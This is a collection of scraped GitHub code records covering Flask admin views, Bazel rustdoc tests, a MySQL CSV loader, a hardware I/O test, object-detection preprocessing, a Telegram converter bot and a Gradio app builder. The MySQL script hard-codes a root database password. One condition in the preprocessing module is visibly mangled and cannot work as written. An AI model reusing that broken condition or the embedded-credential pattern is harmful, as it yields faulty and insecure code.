methods=['GET', 'POST'])\n@roles_required_online(blp)\ndef add_role():\n db = blp.db_manager\n\n _locale = LocalizationManager().get_blueprint_locale(blp.name)\n\n state = None\n message = None\n page_title = _locale.title_create\n\n pages = db.get_pages()\n\n if request.method == 'POST':\n try:\n data = request.form\n pages = request.form.getlist('pages')\n\n if Role.query.filter(Role.name == data['name']).count():\n raise LocalizedException(\"user_name_exists\", blp=blp.name)\n\n new_role = Role(data['name'], description=data['description'])\n\n for page in pages:\n new_role.pages.append(db.query(Page).filter(Page.id == page).one())\n\n new_role.pages.append(db.query(Page).filter(Page.name == \"main\").one())\n new_role.pages.append(db.query(Page).filter(Page.name == \"base\").one())\n\n db.add(new_role)\n db.commit()\n message = _locale.add_message_success\n state = 'success'\n except Exception as e:\n error_msg = _locale.error_generic.format(e)\n print(error_msg)\n state = 'error'\n message = _locale.error_while_create.format(error_msg)\n\n return render_template('roles_edit.html', **locals())\n","repo_name":"marcvivet/descens_infantil","sub_path":"pyapp/appadmin/interface/roles/roles.py","file_name":"roles.py","file_ext":"py","file_size_in_byte":4364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71506265042","text":"\"\"\"Unittest to verify properties of rustdoc rules\"\"\"\n\nload(\"@bazel_skylib//lib:unittest.bzl\", \"analysistest\", \"asserts\")\nload(\"@rules_cc//cc:defs.bzl\", \"cc_library\")\nload(\"//cargo:defs.bzl\", \"cargo_build_script\")\nload(\"//rust:defs.bzl\", \"rust_binary\", \"rust_doc\", \"rust_doc_test\", \"rust_library\", \"rust_proc_macro\", \"rust_test\")\nload(\n \"//test/unit:common.bzl\",\n \"assert_action_mnemonic\",\n \"assert_argv_contains\",\n \"assert_argv_contains_prefix_not\",\n)\n\ndef _get_rustdoc_action(env, tut):\n actions = tut.actions\n action = actions[0]\n assert_action_mnemonic(env, action, \"Rustdoc\")\n\n return action\n\ndef _common_rustdoc_checks(env, tut):\n action = _get_rustdoc_action(env, tut)\n\n # These flags, while required for `Rustc` actions, should be omitted for\n # `Rustdoc` actions\n assert_argv_contains_prefix_not(env, action, \"--remap-path-prefix\")\n assert_argv_contains_prefix_not(env, action, \"--emit\")\n\ndef _rustdoc_for_lib_test_impl(ctx):\n env = analysistest.begin(ctx)\n tut = analysistest.target_under_test(env)\n\n _common_rustdoc_checks(env, tut)\n\n return analysistest.end(env)\n\ndef _rustdoc_for_bin_test_impl(ctx):\n env = analysistest.begin(ctx)\n tut = analysistest.target_under_test(env)\n\n _common_rustdoc_checks(env, tut)\n\n return analysistest.end(env)\n\ndef _rustdoc_for_proc_macro_test_impl(ctx):\n env = analysistest.begin(ctx)\n tut = analysistest.target_under_test(env)\n\n _common_rustdoc_checks(env, tut)\n\n return analysistest.end(env)\n\ndef _rustdoc_for_lib_with_proc_macro_test_impl(ctx):\n env = analysistest.begin(ctx)\n tut = analysistest.target_under_test(env)\n\n _common_rustdoc_checks(env, tut)\n\n return analysistest.end(env)\n\ndef _rustdoc_for_bin_with_transitive_proc_macro_test_impl(ctx):\n env = analysistest.begin(ctx)\n tut = analysistest.target_under_test(env)\n\n _common_rustdoc_checks(env, tut)\n\n return analysistest.end(env)\n\ndef _rustdoc_for_lib_with_cc_lib_test_impl(ctx):\n env = analysistest.begin(ctx)\n tut = analysistest.target_under_test(env)\n\n _common_rustdoc_checks(env, tut)\n\n return analysistest.end(env)\n\ndef _rustdoc_with_args_test_impl(ctx):\n env = analysistest.begin(ctx)\n tut = analysistest.target_under_test(env)\n\n _common_rustdoc_checks(env, tut)\n\n action = _get_rustdoc_action(env, tut)\n\n assert_argv_contains(env, action, \"--allow=rustdoc::broken_intra_doc_links\")\n\n return analysistest.end(env)\n\ndef _rustdoc_zip_output_test_impl(ctx):\n env = analysistest.begin(ctx)\n tut = analysistest.target_under_test(env)\n\n files = tut[DefaultInfo].files.to_list()\n asserts.equals(\n env,\n len(files),\n 1,\n \"The target under this test should have 1 DefaultInfo file but has {}\".format(\n len(files),\n ),\n )\n\n zip_file = files[0]\n asserts.true(\n env,\n zip_file.basename.endswith(\".zip\"),\n \"{} did not end with `.zip`\".format(\n zip_file.path,\n ),\n )\n\n return analysistest.end(env)\n\ndef _rustdoc_with_json_error_format_test_impl(ctx):\n env = analysistest.begin(ctx)\n tut = analysistest.target_under_test(env)\n\n _common_rustdoc_checks(env, tut)\n\n action = _get_rustdoc_action(env, tut)\n\n assert_argv_contains(env, action, \"--error-format=json\")\n\n return analysistest.end(env)\n\nrustdoc_for_lib_test = analysistest.make(_rustdoc_for_lib_test_impl)\nrustdoc_for_bin_test = analysistest.make(_rustdoc_for_bin_test_impl)\nrustdoc_for_proc_macro_test = analysistest.make(_rustdoc_for_proc_macro_test_impl)\nrustdoc_for_lib_with_proc_macro_test = analysistest.make(_rustdoc_for_lib_with_proc_macro_test_impl)\nrustdoc_for_bin_with_transitive_proc_macro_test = analysistest.make(_rustdoc_for_bin_with_transitive_proc_macro_test_impl)\nrustdoc_for_lib_with_cc_lib_test = analysistest.make(_rustdoc_for_lib_with_cc_lib_test_impl)\nrustdoc_with_args_test = analysistest.make(_rustdoc_with_args_test_impl)\nrustdoc_zip_output_test = analysistest.make(_rustdoc_zip_output_test_impl)\nrustdoc_with_json_error_format_test = analysistest.make(_rustdoc_with_json_error_format_test_impl, config_settings = {\n str(Label(\"//:error_format\")): \"json\",\n})\n\ndef _target_maker(rule_fn, name, rustdoc_deps = [], **kwargs):\n rule_fn(\n name = name,\n edition = \"2018\",\n **kwargs\n )\n\n rust_test(\n name = \"{}_test\".format(name),\n crate = \":{}\".format(name),\n edition = \"2018\",\n )\n\n rust_doc(\n name = \"{}_doc\".format(name),\n crate = \":{}\".format(name),\n )\n\n rust_doc_test(\n name = \"{}_doctest\".format(name),\n crate = \":{}\".format(name),\n deps = rustdoc_deps,\n )\n\ndef _define_targets():\n rust_library(\n name = \"adder\",\n srcs = [\"adder.rs\"],\n edition = \"2018\",\n )\n\n _target_maker(\n rust_binary,\n name = \"bin\",\n srcs = [\"rustdoc_bin.rs\"],\n )\n\n _target_maker(\n rust_library,\n name = \"lib\",\n srcs = [\"rustdoc_lib.rs\"],\n rustdoc_deps = [\":adder\"],\n )\n\n _target_maker(\n rust_library,\n name = \"nodep_lib\",\n srcs = [\"rustdoc_nodep_lib.rs\"],\n )\n\n _target_maker(\n rust_proc_macro,\n name = \"rustdoc_proc_macro\",\n srcs = [\"rustdoc_proc_macro.rs\"],\n )\n\n _target_maker(\n rust_library,\n name = \"lib_with_proc_macro\",\n srcs = [\"rustdoc_lib.rs\"],\n rustdoc_deps = [\":adder\"],\n proc_macro_deps = [\":rustdoc_proc_macro\"],\n crate_features = [\"with_proc_macro\"],\n )\n\n _target_maker(\n rust_library,\n name = \"lib_nodep_with_proc_macro\",\n srcs = [\"rustdoc_nodep_lib.rs\"],\n proc_macro_deps = [\":rustdoc_proc_macro\"],\n crate_features = [\"with_proc_macro\"],\n )\n\n _target_maker(\n rust_binary,\n name = \"bin_with_transitive_proc_macro\",\n srcs = [\"rustdoc_bin.rs\"],\n deps = [\":lib_with_proc_macro\"],\n proc_macro_deps = [\":rustdoc_proc_macro\"],\n crate_features = [\"with_proc_macro\"],\n )\n\n cc_library(\n name = \"cc_lib\",\n hdrs = [\"rustdoc.h\"],\n srcs = [\"rustdoc.cc\"],\n )\n\n _target_maker(\n rust_library,\n name = \"lib_with_cc\",\n srcs = [\"rustdoc_lib.rs\"],\n rustdoc_deps = [\":adder\"],\n crate_features = [\"with_cc\"],\n deps = [\":cc_lib\"],\n )\n\n _target_maker(\n rust_library,\n name = \"lib_nodep_with_cc\",\n srcs = [\"rustdoc_nodep_lib.rs\"],\n crate_features = [\"with_cc\"],\n deps = [\":cc_lib\"],\n )\n\n cargo_build_script(\n name = \"lib_build_script\",\n srcs = [\"rustdoc_build.rs\"],\n edition = \"2018\",\n )\n\n _target_maker(\n rust_library,\n name = \"lib_with_build_script\",\n srcs = [\"rustdoc_lib.rs\"],\n rustdoc_deps = [\":adder\"],\n crate_features = [\"with_build_script\"],\n deps = [\":lib_build_script\"],\n )\n\n _target_maker(\n rust_library,\n name = \"lib_nodep_with_build_script\",\n srcs = [\"rustdoc_nodep_lib.rs\"],\n crate_features = [\"with_build_script\"],\n deps = [\":lib_build_script\"],\n )\n\n rust_library(\n name = \"lib_requires_args\",\n srcs = [\"rustdoc_requires_args.rs\"],\n edition = \"2018\",\n )\n\n rust_doc(\n name = \"rustdoc_with_args\",\n crate = \":lib_requires_args\",\n rustdoc_flags = [\n \"--allow=rustdoc::broken_intra_doc_links\",\n ],\n )\n\n rust_library(\n name = \"lib_dep_with_alias\",\n srcs = [\"rustdoc_test_dep_with_alias.rs\"],\n edition = \"2018\",\n deps = [\":adder\"],\n aliases = {\n \":adder\": \"aliased_adder\",\n },\n )\n\n rust_doc_test(\n name = \"rustdoc_test_with_alias_test\",\n crate = \":lib_dep_with_alias\",\n )\n\ndef rustdoc_test_suite(name):\n \"\"\"Entry-point macro called from the BUILD file.\n\n Args:\n name (str): Name of the macro.\n \"\"\"\n\n _define_targets()\n\n rustdoc_for_lib_test(\n name = \"rustdoc_for_lib_test\",\n target_under_test = \":lib_doc\",\n )\n\n rustdoc_for_bin_test(\n name = \"rustdoc_for_bin_test\",\n target_under_test = \":bin_doc\",\n )\n\n rustdoc_for_proc_macro_test(\n name = \"rustdoc_for_proc_macro_test\",\n target_under_test = \":rustdoc_proc_macro_doc\",\n )\n\n rustdoc_for_lib_with_proc_macro_test(\n name = \"rustdoc_for_lib_with_proc_macro_test\",\n target_under_test = \":lib_with_proc_macro_doc\",\n )\n\n rustdoc_for_bin_with_transitive_proc_macro_test(\n name = \"rustdoc_for_bin_with_transitive_proc_macro_test\",\n target_under_test = \":bin_with_transitive_proc_macro_doc\",\n )\n\n rustdoc_for_lib_with_cc_lib_test(\n name = \"rustdoc_for_lib_with_cc_lib_test\",\n target_under_test = \":lib_with_cc_doc\",\n )\n\n rustdoc_with_args_test(\n name = \"rustdoc_with_args_test\",\n target_under_test = \":rustdoc_with_args\",\n )\n\n rustdoc_with_json_error_format_test(\n name = \"rustdoc_with_json_error_format_test\",\n target_under_test = \":lib_doc\",\n )\n\n native.filegroup(\n name = \"lib_doc_zip\",\n srcs = [\":lib_doc.zip\"],\n )\n\n rustdoc_zip_output_test(\n name = \"rustdoc_zip_output_test\",\n target_under_test = \":lib_doc_zip\",\n )\n\n native.test_suite(\n name = name,\n tests = [\n \":rustdoc_for_lib_test\",\n \":rustdoc_for_bin_test\",\n \":rustdoc_for_proc_macro_test\",\n \":rustdoc_for_lib_with_proc_macro_test\",\n \":rustdoc_for_lib_with_cc_lib_test\",\n \":rustdoc_with_args_test\",\n \":rustdoc_with_json_error_format_test\",\n \":rustdoc_zip_output_test\",\n ],\n )\n","repo_name":"bazelbuild/rules_rust","sub_path":"test/unit/rustdoc/rustdoc_unit_test.bzl","file_name":"rustdoc_unit_test.bzl","file_ext":"bzl","file_size_in_byte":9783,"program_lang":"python","lang":"en","doc_type":"code","stars":568,"dataset":"github-code","pt":"3"} +{"seq_id":"15389950632","text":"\"\"\"\nRequirements\n- pandas\n- mysql-connector-python\n\n\"\"\"\n\n\n\nimport pandas as pd\nimport mysql.connector as sql #importing the connector that connects the database\nimport json\n\n\n\n#This is the connector used to connect to the db\nmydb = sql.connect(\n host= \"localhost\", #mysql db host\n user=\"root\", #username\n password= \"Owhondah1\" #password\n) #Entering DataBase Credentials\n\ncursor = mydb.cursor()\n\ncursor.execute(\"CREATE DATABASE `pollution-db2` \") #This creates a new database instance\n\n\n\nmydb = sql.connect(\n host= \"localhost\", #mysql db host\n user=\"root\", #username\n password= \"Owhondah1\", #password\n database= \"pollution-db2\" #selecting newly created database instance\n) #Entering DataBase Credentials\n\nmycursor = mydb.cursor()\n\n\nmycursor.execute(\"DROP TABLE IF EXISTS `readings`;\") #This drops a table if it already exists in the database\n\n\n\nmycursor.execute(\"\"\" CREATE TABLE readings ( \n id INTEGER(11) NOT NULL AUTO_INCREMENT,\n `Date Time` DATETIME,\n NOx FLOAT(10),\n NO2 FLOAT(10),\n NO FLOAT(10),\n SiteID INTEGER(10),\n PM10 FLOAT(10),\n NVPM10 FLOAT(10),\n VPM10 FLOAT(10),\n `NVPM2.5` FLOAT(10),\n `PM2.5` FLOAT(10),\n `VPM2.5` FLOAT(10),\n CO FLOAT(10),\n O3 FLOAT(10),\n SO2 FLOAT(10),\n Temperature FLOAT(10),\n RH FLOAT(10),\n AirPressure FLOAT(10),\n Location VARCHAR(255),\n geo_point_2d VARCHAR(255),\n DateStart DATETIME,\n DateEnd DATETIME,\n Current BOOLEAN,\n `Instrument Type` VARCHAR(255),\n primary key (id)\n )\"\"\") #Creates a table in the database Instance\n\n\n\n\n\ndata = pd.read_csv(\"clean.csv\", low_memory=False) #reads the csv file from directory\ndf = pd.DataFrame(data) # converts to a pandas dataframe\n\ndata_json = df.to_json( orient = \"records\", \n date_format = \"epoch\", \n double_precision = 10, \n force_ascii = True, \n date_unit = \"ms\", \n default_handler = None\n ) #converts the dataframe to a json format\ndata_list = json.loads(data_json) #converts the json string to a list of python dictionary objects\n\n\n\nformula = \"\"\"INSERT INTO readings (\n `Date Time`,\n NOx,\n NO2,\n NO,\n SiteID,\n PM10,\n NVPM10,\n VPM10,\n `NVPM2.5`,\n `PM2.5`,\n `VPM2.5`,\n CO,\n O3,\n SO2,\n Temperature,\n RH,\n AirPressure,\n Location,\n geo_point_2d,\n DateStart,\n DateEnd,\n Current,\n `Instrument Type`\n ) VALUES ( %s, %s, %s, %s, %s, \n %s, %s, %s, %s, %s, \n %s, %s, %s, %s, %s, \n %s, %s, %s, %s, %s, \n %s, %s, %s)\"\"\" #Creates an insertion order for data to be inserted into the db\nfor row in data_list:\n mycursor.execute(formula, ( row['Date Time'], row['NOx'], row['NO2'], row['NO'], row['SiteID'], \n row['PM10'], row['NVPM10'], row['VPM10'], row['NVPM2.5'], row['PM2.5'], \n row['VPM2.5'], row['CO'], row['O3'], row['SO2'], row['Temperature'], \n row['RH'], row['Air Pressure'], row['Location'], row['geo_point_2d'], row['DateStart'], \n row['DateEnd'], row['Current'], row['Instrument Type']) ) #loops through the list and inserts new rows into the table\n\n\n\n\nmydb.commit() #saves the insertions\n","repo_name":"Psami-wondah/SQL","sub_path":"3a/populate.py","file_name":"populate.py","file_ext":"py","file_size_in_byte":3680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18289071237","text":"from machine import I2C\nfrom usr import mcp23017\nimport utime\n\nif __name__==\"__main__\":\n print(\"begin... \")\n\n i2c = I2C(I2C.I2C1, I2C.STANDARD_MODE)\n mcp = mcp23017.Mcp23017(i2c, address=0x20)\n mcp.pin(0, mode=1)\n mcp.pin(1, mode=1, pullup=True)\n mcp.pin(1)\n mcp.pin(2, mode=0, value=1)\n mcp.pin(3, mode=0, value=0)\n\n '''\n mcp.mode = 0x0000\n for n in range(100):\n if n % 2 == 0:\n #for i in range(15):\n mcp.gpio = 0x0000\n else:\n mcp.gpio = 0xFFFF\n utime.sleep_ms(100)\n\n # list interface\n #mcp[0].input()\n #mcp[1].input(pull=1)\n #mcp[1].value()\n mcp[i].output(0)\n utime.sleep_ms(10)\n mcp[i].output(1)\n utime.sleep_ms(10)\n\n # method interface\n mcp.pin(0, mode=1)\n mcp.pin(1, mode=1, pullup=True)\n mcp.pin(1)\n mcp.pin(2, mode=0, value=1)\n mcp.pin(3, mode=0, value=0)\n\n mcp.config(interrupt_polarity=0, interrupt_mirror=1) \n\n # property interface 16-bit\n mcp.mode = 0xfffe\n mcp.gpio = 0x0001\n\n # property interface 8-bit\n mcp.porta.mode = 0xfe\n mcp.portb.mode = 0xff\n mcp.porta.gpio = 0x01\n mcp.portb.gpio = 0x02\n '''","repo_name":"QuecPython/QuecPython_lib_bundles","sub_path":"libraries/MCP23017/mcp_test.py","file_name":"mcp_test.py","file_ext":"py","file_size_in_byte":1292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13410387705","text":"import os\nimport time\nfrom core_logic.htr_lib.perfmeter import Timer\nimport sys\nimport warnings\nwarnings.filterwarnings('ignore')\nimport tensorflow as tf\nimport numpy as np\nimport cv2\nimport silence_tensorflow.auto\nfrom cfg.htr_logger import Htr_logger\nfrom core_logic.htr_singlechar import htr_singlechar_modelmanager as modelmanager\nimport warnings\nwarnings.filterwarnings(\"ignore\", category=FutureWarning)\ntimer=Timer()\n\n#Object detection module\n\n# def read_image(image_np):\n# #read image\n# #line 19 can generates an error \n# try:\n# #condition to check whether the input is correct or not\n# if image_np.shape:\n# Htr_logger.log(Htr_logger.info,\"preprocessing_util : read_image : complete\")\n# return color, thresh\n\n# except Exception as e: \n# Htr_logger.log(Htr_logger.error,\"preprocessing_util : read_image : failure : {}\".format(e))\n# raise e\n\ndef preprocess(np_data):\n try:\n \n \n imOP = cv2.cvtColor(np_data, cv2.COLOR_BGR2GRAY)\n h,w=imOP.shape\n \n x_end=int(w*.85)\n y_end=int(h*.80)\n y=h-y_end\n x=w-x_end\n timer.startOp()\n \n Htr_logger.log(Htr_logger.debug,\"preprocessing_util : preprocess : read_image_time : {}\".format(timer.endOp()))\n #model loading\n detect_fn = modelmanager.get_detectfn()\n # The input needs to be a tensor, convert it using `tf.convert_to_tensor`.\n input_tensor = tf.convert_to_tensor(np_data)\n\n input_tensor = input_tensor[tf.newaxis, ...]\n timer.startOp()\n detections = detect_fn(input_tensor)\n \n Htr_logger.log(Htr_logger.debug,\"preprocessing_util : preprocess : obj_detection_time : {}\".format(timer.endOp()))\n #finidig text classes index in ouput tensor from image\n index= np.where(detections[\"detection_classes\"]==4)[1]\n text_ind=np.where(detections[\"detection_classes\"]==3)[1]\n\n #cropping the text class from image\n timer.startOp()\n if(detections[\"detection_scores\"][0][index[0]] >=.80):\n start_x=int(detections[\"detection_boxes\"][0][index[0]][1]*np_data.shape[1])\n start_y=int(detections[\"detection_boxes\"][0][index[0]][0]*np_data.shape[0])\n end_x=int(detections[\"detection_boxes\"][0][index[0]][3]*np_data.shape[1])\n end_y=int(detections[\"detection_boxes\"][0][index[0]][2]*np_data.shape[0])\n cv2.rectangle(np_data,(start_x,start_y),(end_x,end_y),(255,255,255),-1)\n \n\n \n start_x=int(detections[\"detection_boxes\"][0][text_ind[0]][1]*np_data.shape[1])\n start_y=int(detections[\"detection_boxes\"][0][text_ind[0]][0]*np_data.shape[0])\n end_x=int(detections[\"detection_boxes\"][0][text_ind[0]][3]*np_data.shape[1])\n end_y=int(detections[\"detection_boxes\"][0][text_ind[0]][2]*np_data.shape[0])\n\n image = np_data[start_y:end_y,start_x:end_x]\n\n \n img=np.array(image)\n if ((end_x>x and start_y x and start_yx and end_y>y)) and ((start_xy) and (start_xx and end_y>y) and (start_xy)):\n Htr_logger.log(Htr_logger.info,\"preprocessing_util : preprocess : complete\")\n timer.endOp()\n return img\n else:\n #raise ValueError(\"Image is blank\")\n print(\"blank\")\n\n except Exception as e:\n Htr_logger.log(Htr_logger.error,\"preprocessing_util : preprocess : failure : {}\".format(e))\n timer.endOp()\n raise e\n\n\n\n\n","repo_name":"SiddhantSanadhaya/Yolo","sub_path":"japnese_testing_od_6_1_22_YOLO/core_logic/htr_singlechar/pre_processing/preprocessing_util.py","file_name":"preprocessing_util.py","file_ext":"py","file_size_in_byte":3647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26951479104","text":"# t.me/Crypto888_Bot\nimport requests\nimport json\nimport telebot\nfrom telebot import types\n\nfrom config import keys, TOKEN\nfrom extensions import ConversionException, Converter\nimport traceback\n\n\ndef create_markup(base=None):\n markup = types.ReplyKeyboardMarkup(one_time_keyboard=True)\n buttons = []\n for val in keys.keys():\n if val != base:\n buttons.append(types.KeyboardButton(val.capitalize()))\n\n markup.add(*buttons)\n return markup\n\n\nbot = telebot.TeleBot(TOKEN)\n\n\n@bot.message_handler(commands=['start', 'help'])\ndef start(message: telebot.types.Message):\n text = 'Доброго времени суток.\\nДля начала работы, введите команду боту в следующем формате:\\n<Имя валюты> \\\n<в какую валюту перевести> \\\n<количество переводимой валюты>\\nУвидеть список доступных валют: /values'\n bot.send_message(message.chat.id, text)\n\n@bot.message_handler(commands=['values'])\ndef values(message: telebot.types.Message):\n text = 'Доступные валюты:\\n/convert '\n for key in keys.keys():\n text = '\\n'.join((text, key))\n bot.send_message(message.chat.id, text)\n\n@bot.message_handler(commands=['convert'])\ndef values(message: telebot.types.Message):\n text = 'Выберите валюту, из которой нужно конвертировать: '\n bot.send_message(message.chat.id, text, reply_markup=create_markup())\n bot.register_next_step_handler(message, base_handler)\n\ndef base_handler(message: telebot.types.Message):\n base = message.text.strip().lower()\n text = 'Выберите валюту, в которую нужно конвертировать: '\n bot.send_message(message.chat.id, text, reply_markup=create_markup(base))\n bot.register_next_step_handler(message, sym_handler, base)\n\ndef sym_handler(message: telebot.types.Message, base):\n sym = message.text.strip().lower()\n text = 'Выберите количество конвертируемой валюты: '\n bot.send_message(message.chat.id, text)\n bot.register_next_step_handler(message, amount_handler, base, sym)\n\ndef amount_handler(message: telebot.types.Message, base, sym):\n amount = message.text.strip()\n try:\n new_price = Converter.get_price(base, sym, amount)\n except ConversionException as e:\n bot.send_message(message.chat.id, f\"Ошибка конвертации:\\n{e}\")\n else:\n text = f\"Цена {amount} {base} в {sym} : {new_price}\"\n bot.send_message(message.chat.id, text)\n\n@bot.message_handler(content_types=['text'])\ndef converter(message: telebot.types.Message):\n values = message.text.split(' ')\n\n try:\n if len(values) != 3:\n raise ConversionException('Неверное количество параметров!')\n\n answer = Converter.get_price(*values)\n\n\n except ConversionException as e:\n bot.reply_to(message, f'Ошибка пользователя.\\n{e}')\n except Exception as e:\n traceback.print_tb(e.__traceback__)\n bot.reply_to(message, f'Не удалось обработать команду\\n{e}')\n else:\n bot.reply_to(message, answer)\n\n\nbot.polling()","repo_name":"Tikhonov-86/TelegramBot_Converter","sub_path":"TelegramBot_Converter/App.py","file_name":"App.py","file_ext":"py","file_size_in_byte":3305,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17908019210","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def getMinimumDifference(self, root: Optional[TreeNode]) -> int:\n prev,result=None,float(\"inf\")\n if not root:\n return\n def dfs(node):\n if not node:\n return\n dfs(node.left)\n nonlocal result,prev\n if prev:\n result=min(result,(node.val-prev.val))\n prev=node\n dfs(node.right)\n dfs(root)\n return result","repo_name":"akborhossain/competitive-programming","sub_path":"leetcode/problems/530. Minimum Absolute Difference in BST.py","file_name":"530. Minimum Absolute Difference in BST.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"33756853682","text":"import gradio as gr\n\nimport logging\nimport time\n\nfrom prompts import *\n\n\ndef flip_input_ui(has_idea):\n if has_idea:\n return [gr.update(visible=False), gr.update(visible=True)]\n else:\n return [gr.update(visible=True), gr.update(visible=False)]\n\n\n#def add_textbox(t):\n# b = gr.Textbox(label=\"Hey\")\n# t.add_child(b)\n# b.render()\n\ndef myecho(message, history):\n return message\n\ndef app_markdown_banner(app_def):\n meta = app_def[\"meta\"]\n template = \"\"\"# {Name}\n{Description}\n\"\"\"\n return template.format(Name=meta[\"appName\"], Description=meta[\"description\"])\n\ndef deploy_app(app_def, *args):\n res = []\n myinputs = []\n #res.append(gr.updaye(visible=True, examples=app_def[\"examples\"], inputs=))\n #fields = app_def[\"fields\"]\n fields = app_def[\"ui\"]\n remain_count = 10 - len(fields) - 1\n for i, field in enumerate(fields):\n datatype = field[\"datatype\"]\n if datatype[\"type\"] == \"textfield\":\n if datatype[\"variant\"] == \"long\":\n numLines = 7\n else:\n numLines = 1\n res.append(gr.update(visible=True, interactive=True, label=field[\"desc\"], lines=numLines))\n res.append(gr.update(visible=False))\n res.append(gr.update(visible=False))\n myinputs.append(args[3*i])\n elif datatype[\"type\"] == \"options\" and datatype[\"variant\"] == \"dropdown-single\":\n res.append(gr.update(visible=False))\n res.append(gr.update(visible=True, interactive=True, label=field[\"desc\"], choices=datatype[\"options\"]))\n res.append(gr.update(visible=False))\n myinputs.append(args[3*i + 1])\n elif datatype[\"type\"] == \"options\" and datatype[\"variant\"] == \"dropdown-multiselect\":\n res.append(gr.update(visible=False))\n res.append(gr.update(visible=False))\n res.append(gr.update(visible=True, interactive=True, label=field[\"desc\"], choices=datatype[\"options\"]))\n myinputs.append(args[3*i + 2])\n else:\n raise ValueError(\"Unknown type: {t}, {v}\".format(t=datatype[\"type\"], v=datatype[\"variant\"]))\n # Hardcoded extra field\n res.append(gr.update(visible=True, interactive=True, label=\"(Optional) Additional Notes:\", lines=7))\n res.append(gr.update(visible=False))\n res.append(gr.update(visible=False))\n for i in range(remain_count):\n res.append(gr.update(visible=False))\n res.append(gr.update(visible=False))\n res.append(gr.update(visible=False))\n #res.prepend(gr.update(examples=app_def[\"examples\"], inputs=myinputs))\n res.insert(0, app_markdown_banner(app_def))\n res.insert(1, app_def[\"eg\"])\n return res\n\ndef retry_assembly(debug_meta, debug_ui, debug_eg):\n meta = {}\n ui = []\n eg = []\n try:\n meta = json.loads(debug_meta)\n ui = json.loads(debug_ui)\n eg = json.loads(debug_eg)\n except ValueError as err:\n print(err)\n res = { \"meta\": meta, \"ui\": ui, \"eg\": eg }\n return [res, res]\n\ndef user_submit_form(app_def, *args):\n res = \"User had input the following info:\"\n for i, field in enumerate(app_def[\"ui\"]):\n value = \"\"\n datatype = field[\"datatype\"]\n if datatype[\"type\"] == \"textfield\":\n value = args[3*i]\n elif datatype[\"type\"] == \"options\" and datatype[\"variant\"] == \"dropdown-single\":\n value = args[3*i + 1]\n elif datatype[\"type\"] == \"options\" and datatype[\"variant\"] == \"dropdown-multiselect\":\n value = args[3*i + 2]\n else:\n raise ValueError(\"Unknown type: {t}, {v}\".format(t=datatype[\"type\"], v=datatype[\"variant\"]))\n res += \"\\n {d} - {f}\".format(f=str(value), d=field[\"desc\"])\n return res\n\ndef run_app_first(app_def, app_user_input):\n system_prompt = app_def[\"meta\"][\"prompt\"]\n return instruct(system_prompt, [(app_user_input, None)])\n\ndef run_selected_eg(evt : gr.SelectData):\n #return \"Value: {v}, Index: {i}, other={o}\".format(v=evt.value, i=evt.index, o=evt.selected)\n return evt.index[0]\n\ndef dynamic_fill_eg_input(app_def, selected_eg):\n res = []\n remain_count = 10 - len(app_def[\"ui\"]) - 1\n data = app_def[\"eg\"][selected_eg]\n for i, field in enumerate(app_def[\"ui\"]):\n value = \"\"\n datatype = field[\"datatype\"]\n if datatype[\"type\"] == \"textfield\":\n res.append(data[i])\n res.append(gr.update())\n res.append(gr.update())\n elif datatype[\"type\"] == \"options\" and datatype[\"variant\"] == \"dropdown-single\":\n res.append(gr.update())\n res.append(data[i])\n res.append(gr.update())\n elif datatype[\"type\"] == \"options\" and datatype[\"variant\"] == \"dropdown-multiselect\":\n res.append(gr.update())\n res.append(gr.update())\n res.append(data[i])\n else:\n raise ValueError(\"Unknown type: {t}, {v}\".format(t=datatype[\"type\"], v=datatype[\"variant\"]))\n res.append(data[-1])\n res.append(gr.update())\n res.append(gr.update())\n for i in range(remain_count):\n res.append(gr.update(visible=False))\n res.append(gr.update(visible=False))\n res.append(gr.update(visible=False))\n return res\n\nstandard_app_domains = [\"Entertainment\", \"Education\", \"Designs\", \"Health\", \"Medicine\", \"Career\", \"Religion\"]\nbanner = \"\"\"# Hello\nThis is a test\n\"\"\"\n\ncss = \"\"\"#demoexamples thead { display: none }\n\"\"\"\n\nwith gr.Blocks(css=css) as demo:\n with gr.Tab(\"App Design\"):\n with gr.Row():\n with gr.Group():\n has_idea = gr.Checkbox(value=True, label=\"Have an app idea?\")\n app_domain = gr.Dropdown(choices=standard_app_domains, label=\"App Area/Domain\", visible=False)\n app_topic = gr.Textbox(label=\"App Topic\")\n app_remark = gr.Textbox(label=\"Additional Remark/Request\", lines=3)\n btn_gen_app = gr.Button(value=\"Generate App!\", variant=\"primary\")\n with gr.Row():\n with gr.Column():\n app_prompt = gr.TextArea(label=\"Prompt\", interactive=True, show_label=True, show_copy_button=True)\n example_input = gr.TextArea(label=\"Examples\", interactive=True, show_label=True, show_copy_button=True)\n followup_question = gr.TextArea(label=\"Followup Questions\", interactive=True, show_label=True, show_copy_button=True)\n #btn_temp = gr.Button(label=\"Temp test\")\n with gr.Column():\n with gr.Accordion(\"For Internal Debug\"):\n debug_meta = gr.Code(language=\"json\", label=\"Basic metainfo\", interactive=True)\n debug_ui = gr.Code(language=\"json\", label=\"Extracted UI\", interactive=True)\n debug_examples = gr.Code(language=\"json\", label=\"Extracted Examples\", interactive=True)\n debug_chain = gr.Code(language=\"json\", label=\"Prompt Chaining\", interactive=True)\n btn_assemble = gr.Button(value=\"Try Assembly\")\n app_def_display = gr.JSON(label=\"App Definition\")\n app_def = gr.State({})\n btn_deploy = gr.Button(value=\"Deploy and Test run\", variant=\"primary\")\n with gr.Tab(\"Test Run\") as t2:\n app_banner = gr.Markdown(banner)\n with gr.Row():\n with gr.Column():\n with gr.Group():\n dynamic_inputs = []\n for i in range(10):\n dyn_textbox = gr.Textbox(visible=False)\n dyn_dropdown = gr.Dropdown(visible=False, allow_custom_value=True)\n dyn_multiselect = gr.Dropdown(visible=False, multiselect=True)\n dynamic_inputs.append(dyn_textbox)\n 